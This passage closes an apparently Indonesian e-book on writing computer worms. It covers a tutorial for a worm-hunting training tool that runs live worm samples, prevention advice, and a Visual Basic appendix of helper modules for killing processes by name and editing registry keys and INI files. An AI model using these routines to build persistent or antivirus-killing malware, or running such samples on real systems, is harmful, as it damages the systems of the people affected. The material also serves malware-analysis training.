9. Saat proses instalasi berakhir, klik Finish untuk menutup program installer, sebelumnya hilangkan seleksi pada opsi Launch Worm Hunter Trainer, jika Anda tidak ingin aplikasi WHT secara otomatis dieksekusi saat berakhirnya program installer, perhatikan gambar berikut ini:

6.3 OPERASI DASAR WHTSebelum memulai aplikasi WHT, tutup semua aplikasi terlebih dahulu. Untuk alasan keamanan, aplikasi WHT secara otomatis akan menutup aplikasi yang dianggap "mencurigakan" atau dianggap dapat mengan-cam integritas aplikasi WHT , sehingga sangat disarankan untuk tidak mengeksekusi aplikasi lain saat aplikasi WHT masih dalam keadaan terbuka.

Untuk memulai WHT dapat dilakukan dengan cara:

1. Klik ganda icon Worm Hunter Trainer 1.1 pada desktop, atau 2. Klik Startmenu pilih All Programs/Programs kemudian cari folder

Page 188: Computer Worm 2-eBook

177Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

6. W

orm

Hun

ter T

rain

er

pada Startmenu yang sudah Anda tentukan saat proses instalasi, default-nya adalah Worm Hunter Trainer 1.1 kemudian klik WHT Application, selanjutnya akan tampil form utama aplikasi WHT seperti yang terlihat pada gambar berikut ini.

6.3.1 MEMBUAT DISK INFECTORLangkah pertama adalah menyiapkan sebuah disket yang akan digu-nakan worm sampler untuk menempatkan file infector-nya. Anda bisa membuatnya secara manual dengan merubah volume label pada disket menjadi "WORM HUNTER" atau dengan cara sederhana berikut ini:

Page 189: Computer Worm 2-eBook

178Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 6. W

orm H

unter Trainer

1. Klik tombol Create Disk Infector, akan tampil sebuah kotak pesan sebagai berikut:

2. Masukan disket tersebut pada drive A dan pastikan disket tersebut tidak dalam keadaan terproteksi atau rusak, kemudian klik OK. Apabila proses berhasil maka selanjutnya aplikasi WHT akan memunculkan sebuah kotak pesan seperti gambar berikut ini, ke-mudian akhiri dengan mengklik tombol OK.

6.3.2 MEMBERIKAN IJIN PENGINFEKSIANLangkah kedua adalah menentukan worm sampler mana yang akan diberikan ijin untuk menginfeksi system, yaitu dengan cara mengklik salah satu nama worm sampler yang ada pada ListBox Worm Infector kemudian dilanjutkan dengan mengklik tombol Apply.

Page 190: Computer Worm 2-eBook

179Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

6. W

orm

Hun

ter T

rain

er

6.3.3 MENYIMPAN FILE WORM SAMPLERLangkah ketiga adalah menentukan lokasi penyimpanan untuk file worm sampler yang telah diberikan ijin penginfeksian, dengan cara mengklik tombol Save. Pada kotak dialog Save tentukan lokasi penyimpanan dan nama file kemudian klik Save.

6.3.4 MENGEKSEKUSI WORM SAMPLERLangkah keempat adalah mengeksekusi worm sampler pada lokasi yang telah ditentukan sebelumnya, dengan cara mengklik ganda file tersebut. Dengan tereksekusinya suatu worm sampler maka secara otomatis system akan log off dengan sendirinya.

6.3.5 MELUMPUHKAN WORM SAMPLERLangkah kelima akan menguji kepiawaian Anda dalam berburu worm sampler. Di sini Anda harus berusaha untuk melumpuhkan worm sampler yang sedang aktif, dengan peraturan sebagai berikut:

1. Anda boleh menggunakan tools apapun, melakukan dan merubah konfigurasi apa saja (tentunya dengan resiko Anda sendiri) bahkan Anda boleh saja menon-aktifkan Microsoft Visual Basic Virtual Machine sehingga akan menggagalkan proses worm (dan semua aplikasi yang dibuat dengan aplikasi Visual Basic), hanya saja Anda harus menormalkan kembali file tersebut jika Anda berpendapat sudah berhasil melumpuhkan worm sampler tersebut

2. Anda tidak boleh melakukan crack/hack pada aplikasi WHT dan system konfigurasi yang digunakan, sebaliknya Anda bebas melakukan apa saja pada worm sampler.

Untuk memeriksa apakah Anda telah berhasil melumpuhkan worm sampler tersebut klik tombol Refresh, jika teks pada TextBox Status tertulis "Running !!" maka Anda belum berhasil melumpuhkan worm sampler tersebut, sebaliknya jika Status tertulis "Removed" maka Anda telah berhasil melumpuhkannya.

Page 191: Computer Worm 2-eBook

180Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 6. W

orm H

unter Trainer

Pada sebagian besar worm sampler Anda tidak saja harus menghapus file launcher tetapi juga harus menghapus atau mengembalikan suatu konfigurasi tertentu.

6.3.6 MEMBERSIHKAN SISTEMLangkah terakhir adalah membersihkan sistem komputer dari worm sampler. Hal ini harus dilakukan walaupun Anda berhasil melumpuh-kan worm sampler tersebut, karena langkah ini akan membersihkan sekaligus mengembalikan konfigurasi yang mungkin saja luput dari perhatian Anda. Adapun caranya adalah sebagai berikut:

1. Klik tombol Clean System pada form utama, selanjutnya akan mun-cul sebuah kotak pesan sebagai berikut:

2. Klik Yes untuk melanjutkan, atau klik No untuk membatalkan.

Walaupun belum pernah ada yang melapor jika setelah proses Clean System ternyata worm sampler tetap aktif, namun jika hal ini terjadi pada Anda, silahkan lakukan proses Clean System kemudian LogOff dan lakukan proses Clean System sekali lagi.

6.4 SECRET SAMPLERSpesial untuk pembaca buku ini, aplikasi WHT memiliki dua buah worm sampler yang karena suatu alasan tertentu sengaja dirahasiakan. WHT.Tutankhamun dan WHT.Akhenaten merupakan worm sampler dengan tingkatan menengah keatas, dan menariknya saat buku ini

Page 192: Computer Worm 2-eBook

181Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

6. W

orm

Hun

ter T

rain

er

diterbitkan metode yang digunakan secret sampler tersebut belum pernah digunakan oleh worm lokal manapun, sangat tidak disarankan untuk mencoba secret sampler ini sebelum Anda berhasil melumpuh-kan ketujuh worm sampler standar.

Adapun cara untuk mendapatkan secret sampler tersebut adalah den-gan mengetik "cheater" tanpa tanda petik pada TextBox Worm Infector, kemudian menekan kombinasi tombol Alt+Q, secara otomatis secret sampler ini akan ditambahkan pada bagian bawah ListBox.

6.5 DEINSTALASISebelum melakukan proses deinstalasi (uninstall) sangat disarankan untuk membersihkan system terlebih dahulu (dengan mengklik tombol Clean System pada aplikasi WHT) kemudian menutup aplikasi WHT.

1. Klik Startmenu pilih All Programs/Programs kemudian cari Start-menu folder untuk aplikasi WHT kemudian klik 'WHT Uninstall’, selanjutnya akan tampil kotak pesan seperti yang terlihat pada gambar berikut ini:

2. Klik Yes untuk melanjutkan atau klik No untuk membatalkan, beri-kut ini adalah kotak pesan yang akan ditampilkan setelah proses deinstalasi aplikasi WHT berhasil dengan baik.

Page 193: Computer Worm 2-eBook
Page 194: Computer Worm 2-eBook

183Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

7. P

enut

up

BAB 7PENUTUP

Mencegah lebih baik daripada mengobati. Ujar-ujar yang populer sepanjang zaman ini mengingatkan kita agar selalu waspada terhadap segala bentuk kerugian yang mungkin

akan datang tanpa kita sadari.

Demikian pula dengan data atau informasi yang tersimpan pada suatu komputer, tidak ada satupun metode yang secara total bisa melindungi komputer atau data yang terkandung didalamnya.

Kerugian tersebut bisa saja datang dari kesalahan pemakai, kegagalan software atau hardware, force majore, atau datang dari pihak ketiga baik berupa malcode maupun serangan langsung para cracker atau hacker jahat.

Setelah mempelajari bab-bab terdahulu, tentu Anda sudah mengerti bahwa worm juga dapat mengakibatkan kerugian serupa, terlebih jika suatu worm meng-overwrite file-file dokumen penting atau mengha-pus file-file system yang akan berakibat rusaknya sistem operasi pada komputer yang terinfeksi. Cara yang paling baik adalah mencegah atau mengurangi kemungkinan terjadinya kerugian tersebut, adapun upaya tersebut antara lain:

1. Backup; yaitu pembuatan salinan untuk satu atau sekumpulan file atau dokumen yang dianggap penting secara rutin dan berkala. Adapun data backup tersebut disimpan pada lokasi yang berbeda dan berjauhan dari lokasi data sumber

Page 195: Computer Worm 2-eBook

184Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 7. P

enutup

2. Menginstal anti malcode seperti aplikasi antivirus versi terakhir, dan melakukan update definition file secara rutin dan teratur

3. Meng-update software terinstal termasuk sistem operasi secara rutin dan teratur, hal ini dapat memperbaiki bug (kesalahan pro-gram) pada software tersebut, yang umumnya dimanfaatkan oleh malcode, cracker atau hacker jahat

4. Selalu waspada pada perilaku komputer yang tidak normal, jika perlu Anda dapat menginstal aplikasi proteksi yang akan mem-batalkan segala bentuk perubahan, seperti aplikasi DeepFreeze atau ShadowUser/ShadowServer.

Hingga bab ini mungkin diantara pembaca ada yang berpendapat, mengapa penulis membuat seperti ini dan seperti itu, kenapa tidak seperti ini dan seperti itu saja? bukankah akan menjadi lebih baik, ringkas dan tidak menggunakan banyak kertas? .

Lalu mengapa penulis menulis begini dan menulis begitu, kenapa tidak menulis begini dan begitu saja? bukankah... bukankah... dan bukankah...? . Ya... penulis sangat setuju dengan Anda, dan penulis sangat berharap semua pembaca seperti Anda, namun penulis tetap melakukan hal demikian karena penulis percaya bahwa tidak semua pembaca seperti Anda, sehingga pada kesempatan ini penulis harus meminta maaf atas ketidak-nyamanan tersebut.

Akhir kata penulis kembali mengingatkan pembaca semua bahwa semua yang ada pada buku ini hanyalah untuk keperluan pengetahuan semata, mempelajari pembuatan suatu worm memerlukan pengertian akan tanggung jawab moral yang besar, karena worm komputer dapat menimbulkan dampak yang sangat fatal dan merugikan.

"Dengan mengetahui, mengerti dan menguasai teknik pembuatan suatu virus, worm atau malcode

lainnya, sesungguhnya sudah tidak dibutuhkan tutorial lain untuk memeranginya."

Page 196: Computer Worm 2-eBook

Computer Worm 2 - Secret of Undeground Coding : Uncensored

185Jasakom

LAMPIRAN

mdlFileIniDeclare Function GetPrivateProfileString Lib "kernel32" Alias _ "GetPrivateProfileStringA" (ByVal lpApplicationName As _ String, ByVal lpKeyName As String, ByVal lpDefault As String, _ ByVal lpReturnedString As String, ByVal nSize As Long, ByVal _ lpFileName As String) As Long

Declare Function WritePrivateProfileString Lib "kernel32" Alias _ "WritePrivateProfileStringA" (ByVal lpApplicationName As _ String, ByVal lpKeyName As String, ByVal lpString As Any, _ ByVal lpFileName As String) As Long

Function ReadINI(ByVal Section, ByVal KeyName, ByVal filename As String) _As String Dim sRet As StringsRet = String(255, Chr(0))ReadINI = Left(sRet, GetPrivateProfileString(Section, ByVal _ KeyName, "", sRet, Len(sRet), filename))End Function

Function writeini(ByVal sSection As String, ByVal sKeyName As String, _ByVal sNewString As String, ByVal sFileName) As Integer Dim r r = WritePrivateProfileString(sSection, sKeyName, sNewString, _ sFileName)End Function

mdlWinExitPrivate Declare Function CreateToolhelp32Snapshot Lib "kernel32" _ (ByVal lFlags As Long, ByVal lProcessID As Long) As LongPrivate Declare Function Process32First Lib "kernel32" (ByVal _ hSnapshot As Long, ByVal lppe As PROCESSENTRY32) As LongPrivate Declare Function Process32Next Lib "kernel32" (ByVal _ hSnapshot As Long, ByVal lppe As PROCESSENTRY32) As LongPrivate Declare Function OpenProcess Lib "kernel32" (ByVal _ dwDesiredAccess As Long, ByVal bInheritHandle As Long, _ ByVal dwProcessId As Long) As LongPrivate Declare Function TerminateProcess Lib "kernel32" (ByVal _ hProcess As Long, ByVal uExitCode As Long) As LongPrivate Const TH32CS_SNAPPROCESS As Long = 2&Private Const MAX_PATH As Integer = 260Private Type PROCESSENTRY32dwSize As LongcntUsage As Longth32ProcessID As Longth32DefaultHeapID As Longth32ModuleID As Long

185

LAM

PIRA

N

Page 197: Computer Worm 2-eBook

Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

186

cntThreads As Longth32ParentProcessID As LongpcPriClassBase As LongdwFlags As LongszExeFile As String * MAX_PATHEnd Type

Public Function WinExit(ByVal sExeNam As String) Dim lLng As Long, lA As Long, lExCode As Long Dim procObj As PROCESSENTRY32 Dim hSnap As Long Dim lRet As Long hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0&) procObj.dwSize = Len(procObj) lRet = Process32First(hSnap, procObj) Do While Process32Next(hSnap, procObj) If InStr(1, LCase(procObj.szExeFile), LCase(sExeNam$)) > 0 ThenlLng = OpenProcess(&H1, ByVal 0&, procObj.th32ProcessID) lA = TerminateProcess(lLng, lExCode) Exit Do End If LoopEnd Function

mdlRegistryAPIType FILETIME lLowDateTime As Long lHighDateTime As LongEnd Type

Declare Function RegDeleteValue Lib "advapi32.dll" Alias _ "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName _ As String) As LongDeclare Function RegOpenKeyEx Lib "advapi32.dll" Alias _ "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As _ String, ByVal ulOptions As Long, ByVal samDesired As Long, _ByVal phkResult As Long) As LongDeclare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As _ Long) As LongDeclare Function RegCreateKey Lib "advapi32.dll" Alias _ "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As _ String, ByVal phkResult As Long) As LongDeclare Function RegDeleteKey Lib "advapi32.dll" Alias _ "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As _ String) As LongDeclare Function RegQueryValueEx Lib "advapi32.dll" Alias _ "RegQueryValueExA" (ByVal hKey As Long, ByVal _ lpValueName As String, ByVal lpReserved As Long, ByVal lpType As _ Long, ByVal lpData As String, ByVal lpcbData As Long) As LongDeclare Function RegQueryValueExA Lib "advapi32.dll" (ByVal _ hKey As Long, ByVal lpValueName As String, ByVal _ lpReserved As Long, ByVal lpType As Long, ByRef lpData As Long, _ByVal lpcbData As Long) As Long

186

LAMPIRAN

Page 198: Computer Worm 2-eBook

Computer Worm 2 - Secret of Undeground Coding : Uncensored

187Jasakom

Declare Function RegSetValueEx Lib "advapi32.dll" Alias _ "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName _ As String, ByVal Reserved As Long, ByVal dwType As Long, _ ByVal lpData As String, ByVal cbData As Long) As LongDeclare Function RegSetValueExA Lib "advapi32.dll" (ByVal _ hKey As Long, ByVal lpValueName As String, ByVal Reserved _ As Long, ByVal dwType As Long, ByRef lpData As Long, _ ByVal cbData As Long) As LongDeclare Function RegSetValueExB Lib "advapi32.dll" Alias _ "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName _ As String, ByVal Reserved As Long, ByVal dwType As Long, _ ByRef lpData As Byte, ByVal cbData As Long) As LongPublic Declare Function RegReplaceKey Lib "advapi32.dll" Alias _ "RegReplaceKeyA" (ByVal hKey As Long, ByVal lpSubKey As _ String, ByVal lpNewFile As String, ByVal lpOldFile As String) _ As Long

Const ERROR_SUCCESS = 0&Const ERROR_BADDB = 1009&Const ERROR_BADKEY = 1010&Const ERROR_CANTOPEN = 1011&Const ERROR_CANTREAD = 1012&Const ERROR_CANTWRITE = 1013&Const ERROR_OUTOFMEMORY = 14&Const ERROR_INVALID_PARAMETER = 87&Const ERROR_ACCESS_DENIED = 5&Const ERROR_NO_MORE_ITEMS = 259&Const ERROR_MORE_DATA = 234&

Const REG_NONE = 0&Const REG_SZ = 1&Const REG_EXPAND_SZ = 2&Const REG_BINARY = 3&Const REG_DWORD = 4&Const REG_DWORD_LITTLE_ENDIAN = 4&Const REG_DWORD_BIG_ENDIAN = 5&Const REG_LINK = 6&Const REG_MULTI_SZ = 7&Const REG_RESOURCE_LIST = 8&Const REG_FULL_RESOURCE_DESCRIPTOR = 9&Const REG_RESOURCE_REQUIREMENTS_LIST = 10&

Const KEY_QUERY_VALUE = &H1&Const KEY_SET_VALUE = &H2&Const KEY_CREATE_SUB_KEY = &H4&Const KEY_ENUMERATE_SUB_KEYS = &H8&Const KEY_NOTIFY = &H10&Const KEY_CREATE_LINK = &H20&Const READ_CONTROL = &H20000Const WRITE_DAC = &H40000Const WRITE_OWNER = &H80000Const SYNCHRONIZE = &H100000Const STANDARD_RIGHTS_REQUIRED = &HF0000Const STANDARD_RIGHTS_READ = READ_CONTROLConst STANDARD_RIGHTS_WRITE = READ_CONTROL

187

LAM

PIRA

N

Page 199: Computer Worm 2-eBook

Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

188

Const STANDARD_RIGHTS_EXECUTE = READ_CONTROLConst KEY_READ = STANDARD_RIGHTS_READ Or _ KEY_QUERY_VALUE Or KEY_ENUMERATE_SUB_KEYS _ Or KEY_NOTIFYConst KEY_WRITE = STANDARD_RIGHTS_WRITE Or _ KEY_SET_VALUE Or KEY_CREATE_SUB_KEYConst KEY_EXECUTE = KEY_READ

Dim hKey As Long, MainKeyHandle As LongDim rtn As Long, lBuffer As Long, sBuffer As StringDim lBufferSize As LongDim lDataSize As LongDim ByteArray() As Byte

Const DisplayErrorMsg = False

Function SetDWORDValue(ByVal SubKey As String, ByVal Entry As String, _ByVal value As Long) Call ParseKey(SubKey, MainKeyHandle) If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_WRITE, _ hKey) If rtn = ERROR_SUCCESS Then rtn = RegSetValueExA(hKey, Entry, 0, REG_DWORD, value, 4) If Not rtn = ERROR_SUCCESS Then If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If rtn = RegCloseKey(hKey) Else If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If End IfEnd Function

Public Function DeleteKeyValue(ByVal sKeyName As String, _ ByVal sValueName As String) DeleteKeyValue = False Dim hKey As Long Call ParseKey(sKeyName, MainKeyHandle) If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, sKeyName, 0, _ KEY_WRITE, hKey) If (rtn = ERROR_SUCCESS) Then rtn = RegDeleteValue(hKey, sValueName) If (rtn <> ERROR_SUCCESS) Then Else DeleteKeyValue = True End If rtn = RegCloseKey(hKey) End If End IfEnd Function

188

LAMPIRAN

Page 200: Computer Worm 2-eBook

Computer Worm 2 - Secret of Undeground Coding : Uncensored

189Jasakom

Function GetDWORDValue(ByVal SubKey As String, ByVal Entry As String) Call ParseKey(SubKey, MainKeyHandle) If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_READ, _ hKey) If rtn = ERROR_SUCCESS Then rtn = RegQueryValueExA(hKey, Entry, 0, REG_DWORD, lBuffer, 4) If rtn = ERROR_SUCCESS Then rtn = RegCloseKey(hKey) GetDWORDValue = lBuffer Else GetDWORDValue = "Error" If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If Else GetDWORDValue = "Error" If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If End IfEnd Function

Function SetBinaryValue(ByVal SubKey As String, ByVal Entry As String, _ByVal value _ As String) Call ParseKey(SubKey, MainKeyHandle) If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_WRITE, _ hKey) If rtn = ERROR_SUCCESS Then lDataSize = Len(value) ReDim ByteArray(lDataSize) For i = 1 To lDataSize ByteArray(i) = Asc(Mid$(value, i, 1)) Next rtn = RegSetValueExB(hKey, Entry, 0, REG_BINARY, _ ByteArray(1), lDataSize) If Not rtn = ERROR_SUCCESS Then If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If rtn = RegCloseKey(hKey) Else If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If End IfEnd Function

189

LAM

PIRA

N

Page 201: Computer Worm 2-eBook

Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

190

Function GetBinaryValue(ByVal SubKey As String, ByVal Entry As String) Call ParseKey(SubKey, MainKeyHandle) If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_READ, _ hKey) If rtn = ERROR_SUCCESS Then lBufferSize = 1 rtn = RegQueryValueEx(hKey, Entry, 0, REG_BINARY, 0, _ lBufferSize) sBuffer = Space(lBufferSize) rtn = RegQueryValueEx(hKey, Entry, 0, REG_BINARY, sBuffer, _ lBufferSize) If rtn = ERROR_SUCCESS Then rtn = RegCloseKey(hKey) GetBinaryValue = sBuffer Else GetBinaryValue = "Error" If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If Else GetBinaryValue = "Error" If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If End IfEnd Function

Function DeleteKey(ByVal Keyname As String) Call ParseKey(Keyname, MainKeyHandle) If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, Keyname, 0, _ KEY_WRITE, hKey) If rtn = ERROR_SUCCESS Then rtn = RegDeleteKey(hKey, Keyname) rtn = RegCloseKey(hKey) End If End IfEnd Function

Function GetMainKeyHandle(ByVal MainKeyName As String) As Long Const HKEY_CLASSES_ROOT = &H80000000 Const HKEY_CURRENT_USER = &H80000001 Const HKEY_LOCAL_MACHINE = &H80000002 Const HKEY_USERS = &H80000003 Const HKEY_PERFORMANCE_DATA = &H80000004 Const HKEY_CURRENT_CONFIG = &H80000005 Const HKEY_DYN_DATA = &H80000006 Select Case MainKeyName Case "HKEY_CLASSES_ROOT" GetMainKeyHandle = HKEY_CLASSES_ROOT Case "HKEY_CURRENT_USER" GetMainKeyHandle = HKEY_CURRENT_USER Case "HKEY_LOCAL_MACHINE" GetMainKeyHandle = HKEY_LOCAL_MACHINE

190

LAMPIRAN

Page 202: Computer Worm 2-eBook

Computer Worm 2 - Secret of Undeground Coding : Uncensored

191Jasakom

Case "HKEY_USERS" GetMainKeyHandle = HKEY_USERS Case "HKEY_PERFORMANCE_DATA" GetMainKeyHandle = HKEY_PERFORMANCE_DATA Case "HKEY_CURRENT_CONFIG" GetMainKeyHandle = HKEY_CURRENT_CONFIG Case "HKEY_DYN_DATA" GetMainKeyHandle = HKEY_DYN_DATA End SelectEnd Function

Function ErrorMsg(ByVal lErrorCode As Long) As String Select Case lErrorCode Case 1009, 1015 GetErrorMsg = "The Registry Database is corrupt!" Case 2, 1010 GetErrorMsg = "Bad Key Name" Case 1011 GetErrorMsg = "Can’t Open Key" Case 4, 1012 GetErrorMsg = "Can’t Read Key" Case 5 GetErrorMsg = "Access to this key is denied" Case 1013 GetErrorMsg = "Can’t Write Key" Case 8, 14 GetErrorMsg = "Out of memory" Case 87 GetErrorMsg = "Invalid Parameter" Case 234 GetErrorMsg = "There is more data than the buffer has been" & _ "allocated to hold." Case Else GetErrorMsg = "Undefined Error Code: " & Str$(lErrorCode) End SelectEnd Function

Function GetStringValue(ByVal SubKey As String, ByVal Entry As String) Call ParseKey(SubKey, MainKeyHandle) If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_READ, _ hKey) If rtn = ERROR_SUCCESS Then sBuffer = Space(255) lBufferSize = Len(sBuffer) rtn = RegQueryValueEx(hKey, Entry, 0, REG_SZ, sBuffer, _ lBufferSize) If rtn = ERROR_SUCCESS Then rtn = RegCloseKey(hKey) sBuffer = Trim(sBuffer) GetStringValue = Left(sBuffer, Len(sBuffer) - 1) Else GetStringValue = "Error" If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If Else

191

LAM

PIRA

N

Page 203: Computer Worm 2-eBook

Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

192

GetStringValue = "Error" If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If End IfEnd Function

Private Sub ParseKey(ByVal Keyname As String, ByVal Keyhandle As Long) rtn = InStr(Keyname, "\") If Left(Keyname, 5) <> "HKEY_" Or Right(Keyname, 1) = "\" Then MsgBox("Incorrect Format:" + Chr(10) + Chr(10) + Keyname) Exit Sub ElseIf rtn = 0 Then Keyhandle = GetMainKeyHandle(Keyname) Keyname = "" Else Keyhandle = GetMainKeyHandle(Left(Keyname, rtn - 1)) Keyname = Right(Keyname, Len(Keyname) - rtn) End IfEnd Sub

Function CreateKey(ByVal SubKey As String) Call ParseKey(SubKey, MainKeyHandle) If MainKeyHandle Then rtn = RegCreateKey(MainKeyHandle, SubKey, hKey) If rtn = ERROR_SUCCESS Then rtn = RegCloseKey(hKey) End If End IfEnd Function

Function SetStringValue(ByVal SubKey As String, ByVal Entry As String, ByVal value _

As String) Call ParseKey(SubKey, MainKeyHandle) If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_WRITE, _ hKey) If rtn = ERROR_SUCCESS Thenrtn = RegSetValueEx(hKey, Entry, 0, REG_SZ, ByVal value, _ Len(value)) If Not rtn = ERROR_SUCCESS Then If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If rtn = RegCloseKey(hKey) Else If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If End IfEnd Function

192

LAMPIRAN

Page 204: Computer Worm 2-eBook

Computer Worm 2 - Secret of Undeground Coding : Uncensored

193Jasakom

Public Function hex2ascii(ByVal hextext As String) As String On Error Resume Next Dim Y As Integer Dim num As String Dim value As String For Y = 1 To Len(hextext) num = Mid(hextext, Y, 2) value = value & Chr(Val("&h" & num)) Y = Y + 1 Next Y hex2ascii = valueEnd Function

Function SetHexValue(ByVal SubKey As String, ByVal Entry As String, _ByVal value As String) SetBinaryValue(SubKey, Entry, hex2ascii(value))End Function

193

LAM

PIRA

N

Page 205: Computer Worm 2-eBook

Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

194

PROFIL PENULIS

Achmad Darmal, lahir pada tanggal 13 Oktober 1980 di Tarakan, Kali-mantan Timur - Indonesia, saat ini bekerja pada salah satu perusahaan swasta yang bergerak dibidang konstruksi dan per-tambangan, penulis juga bekerja part-time dibeberapa lembaga kursus sebagai tenaga instruktur sekaligus merangkap sebagai teknisi komputer.

Saat ini penulis sedang memperdalam ilmu komputer animasi dan desain grafis, serta aktif dalam pengembangan software perusahaan dimana penulis bekerja.

Alamat lengkap penulis:Jl. Pesisir Indah RT. 13 No. 86 Kel. Selumit PantaiTarakan Tengah, Kalimantan Timur - IndonesiaTelp: (0551) 5505637 Fax: (0551) 34971E-mail : [email protected]

194

Profil - Profil - Profil - Profil -Profil - Profil -Profil - Profil - Profil -Profil

Page 206: Computer Worm 2-eBook

REFERENSI

Symantec AntiVirus Research Center, 1999, Learn More About Viruses and Worms, http://www.symantec.com, United States

John McAfee, Computer Viruses, Worms, Data Diddlers, Killer Programs & Other Threat, St. Martin’s Press

Peter Szor, 2005, Strategies of Computer Worms, http://www.awpro fessional.com

Mark Ludwig, 1996, The Little Black Book of Computer Viruses – Electronic Edition, American Eagle Publications Inc, Arizona

Tom Vogt, 2003, Simulating and Optimising Worm Propagation Algorithms, Germany

Vaksin.com, http://www.vaksin.com

Page 207: Computer Worm 2-eBook
Page 208: Computer Worm 2-eBook

Worm Hunter Trainer

Darmal's Software

Page 209: Computer Worm 2-eBook

Belanja Aman dan Nyaman

WWW.TOKOMAHAL.COM

Page 210: Computer Worm 2-eBook
Page 211: Computer Worm 2-eBook

www.buku-joomla.us adalah situs yang dibangun dan dikelola oleh pembaca buku

Joomla! 1.5 : Dunianya Maya, Untungnya Nyata.Sebagai pembaca, Anda berhak mengakses, memban-gun, merubah seisi situs ini. Dapatkan informasi de-

tailnya didalam buku Joomla 1.5 !

Penulis : S’to

Dapatkan Buku-Buku S'to !

Page 212: Computer Worm 2-eBook

Dapatkan Buku-Buku S'to !

Page 213: Computer Worm 2-eBook

Kunjungi www.jasakom.com untuk melihat dan membeli buku-buku terbitan dari JasakomBuku ini juga tersedia di toko-toko buku di seluruh Indonesia seperti Gramedia, Toga Mas Gunung Agung,

Toko Utama, Kharisma, Uranus, dll

Windows XP:XXX dan Windows XP2:XXX merupakan serial buku IT

paling laris sepanjang tahun.

Buku ini akan memperlihatkan kepada Anda bagaimana

melakukan berba-gai hal unik dengan Windows XP yang tidak pernah Anda

bayangkan sebelum-nya. Tidak percaya?

Silahkan buktikan sendiri !

Dapatkan JugaWindows VISTA XXX